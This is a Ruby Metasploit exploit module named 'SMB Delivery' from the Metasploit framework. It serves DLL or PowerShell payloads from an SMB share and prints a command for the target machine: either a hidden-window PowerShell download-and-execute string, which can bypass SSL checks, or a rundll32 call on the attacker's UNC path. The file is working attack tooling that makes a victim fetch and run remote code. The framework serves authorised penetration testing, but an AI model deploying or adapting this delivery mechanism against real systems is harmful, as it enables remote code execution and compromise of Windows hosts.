##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::SMB::Server::Share
  include Msf::Exploit::Powershell

  def initialize(info={})
    super(update_info(info,
      'Name'           => "SMB Delivery",
      'Description'    => %q{
        This module serves payloads via an SMB server and provides commands to retrieve
        and execute the generated payloads. Currently supports DLLs and Powershell.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Andrew Smith',
          'Russel Van Tuyl'
        ],
      'References'     =>
        [
          ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3074']
        ],
      'Payload'        =>
        {
          'Space'       => 2048,
          'DisableNops' => true
        },
        'Platform'       => 'win',
        'Targets'        =>
          [
            ['DLL', {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64]
            }],
            ['PSH', {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64]
            }]
          ],
        'Privileged'     => false,
        'DisclosureDate' => "Jul 26 2016",
        'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILE_NAME', [ false, 'DLL file name', 'test.dll'])
      ])

    deregister_options('FILE_CONTENTS')
  end

  def primer
    print_status('Run the following command on the target machine:')
    case target.name
    when 'PSH'
      self.file_contents = cmd_psh_payload(  payload.encoded,
                                             payload_instance.arch.first,
                                             remove_comspec: true,
                                             use_single_quotes: true)

      ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
      download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(unc)
      download_and_run = "#{ignore_cert}#{download_string}"
      print_line generate_psh_command_line(  noprofile: true,
                                             windowstyle: 'hidden',
                                             command: download_and_run)
    when 'DLL'
      self.file_contents = generate_payload_dll
      print_line("rundll32.exe #{unc},0")
    end
  end
end
